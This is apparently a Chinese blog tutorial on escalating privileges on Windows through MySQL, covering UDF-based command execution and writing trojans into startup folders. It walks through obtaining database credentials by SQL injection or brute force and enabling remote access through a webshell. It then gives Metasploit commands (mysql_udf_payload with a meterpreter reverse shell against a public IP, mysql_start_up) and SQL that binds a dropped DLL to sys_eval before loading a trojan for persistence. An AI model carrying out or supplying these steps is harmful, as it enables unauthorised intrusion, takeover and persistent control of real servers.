Windows提权:利用MySQL数据库

目录

数据库提权的基本条件

MySQL UDF提权

什么是UDF

UDF如何应用到提权

利用思路

MSF提权实战

MySQL 启动项提权

原理:通过MySQL数据库把木马写到Windows启动项中

Windows启动项位置

MSF提权利用实战

MySQL 反弹shell提权


Windows提权:利用MySQL数据库_第1张图片

 

数据库提权的基本条件

  • 知道数据最高权限的用户密码
  • 数据库允许外链
  • mysql.ini(数据库配置文件)中 secure-file-priv开启对写文件目录进行了限制

获取密码的方式:

        1. 网站存在SQL注入点

        2. 数据库的存储文件或备份文件 

                在数据库有几个文件记录着密码比如:MySQL数据库的,/MySQL/data/mysql

                有三个uesr.MYD,user.MYI,user.frm,其中就有可能有密码的存储

        3. 网站数据库连接配置文件,就可能有网站的配置文件

        4. 弱口令爆破

第二,三种往往是我们拿到数据库权限之后

MySQL UDF提权

我们需要了解它的基本原理以及基本的利用手法

什么是UDF

udf = 'user defined function',即‘用户自定义函数’。是通过添加新函数,对MYSQL的功能进行扩充,性质就象使用本地MYSQL函数如abs()或concat()。

UDF如何应用到提权

假设我的udf文件名为‘udf.dll’,存放在Mysql根目录(通过select @@basedir可知)的‘lib/plugin’目录下。在udf中,我定义了名为sys_eval的mysql函数,可以执行系统任意命令。如果我现在就打开mysql命令行,使用select sys_eval('dir');的话,系统会返回sys_eval()函数未定义。因为我们仅仅是把‘udf.dll’放到了某个文件夹里,并没有引入。类似于面向对象编程时引入包一样,如果没有引入包,那么这个包里的类你是用不了的。

其实到这里,提权已经结束了,因为对于sys_eval()函数,其中的指令是直接以管理员的权限运行的,所以这也就是最高权限了。

利用思路

  1. 开启对方MySQL数据库的外链
  2. 使用MSF提权,会生成一个dll文件
  3. 把dll文件与sys_eval绑定到一起
  4. 通过sys_eval()进行命令执行
  5. 上线木马,实现持久化控制

MSF提权实战

限制条件:

  1. 数据库最高权限用户的账号密码
  2. 能够登录到对方的MySQL数据上(数据库支持外链)

MySQL数据库是禁止开启外部连接的,但是也是有办法克服的

我们需要在对方机器上,登录数据库,执行下面的命令,就可以开启外链

Windows提权:利用MySQL数据库_第2张图片

这一步可以使用哥斯拉,蚁剑连接上目标机器上的Webshell,提供这个Webshell进行数据库连接相当于在本地进行连接。

Windows提权:利用MySQL数据库_第3张图片

一般情况下都是先通过webshell连接数据库来开启外链,因为后续的MSF的利用上是属于外链的。

Windows提权:利用MySQL数据库_第4张图片

在webshell执行开启外链的命令

GRANT ALL PRIVILEGES ON *.* TO '账号'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION;

之后使用MSF进行测试:

use exploit/multi/mysql/mysql_udf_payload
set payload windows/meterpreter/reverse_tcp
set username root
set password root
set rhosts 47.102.195.100
run

根据数据库的不同,会有一个dll文件生成在不同的目录

  • mysql < 5.2 导出到目录 c:/windows或system32
  • mysql => 5.2 到处安装目录 /lib/plugin  如果没有这个目录,可以手动创建

Windows提权:利用MySQL数据库_第5张图片

之后我们可以通过这个文件执行命令,这一步可以通过Navicat来完成

首先在数据库内执行命令

select * from mysql.func where name="sys_exec";

Windows提权:利用MySQL数据库_第6张图片 

再创建一个sys_eval()绑定dll用来执行命令,MySQL的mysql.func种记录着绑定的信息

create function sys_eval returns string soname "pZzTLcMH.dll";

命令执行:

Windows提权:利用MySQL数据库_第7张图片

之后可以远程下载木马,上线。

MySQL 启动项提权

限制条件:

  • 数据库最高权限用户的账号密码
  • 数据库可外链

原理:通过MySQL数据库把木马写到Windows启动项中

Windows启动项位置

windows查看启动项命令:msconfig

  1. 用户自动其文件夹
    win+r 后输入:shell:startup
  2. 系统自启动文件夹
    win+r 后输入:%programdata%\Microsoft\Windows\Start Menu\Programs\Startup

然后将启动的快捷方式放入文件夹中即可

MSF提权利用实战

use exploit/windows/mysql/mysql_start_up
set username root
set password root
set rhost 192.168.226.136 //设置攻击主机
set AllowNoCleanup true
run

Windows提权:利用MySQL数据库_第8张图片

 之后等待对方服务器上线即可

这是写入到系统启动项提权上了

MySQL 反弹shell提权

参考文章:https://www.cnblogs.com/bonelee/p/15864513.html

其本质也是借助UDF进行提权

在我们实战中常用到的也就是UDF提权和启动项提权。

你可能感兴趣的:(权限提升,数据库,windows,安全)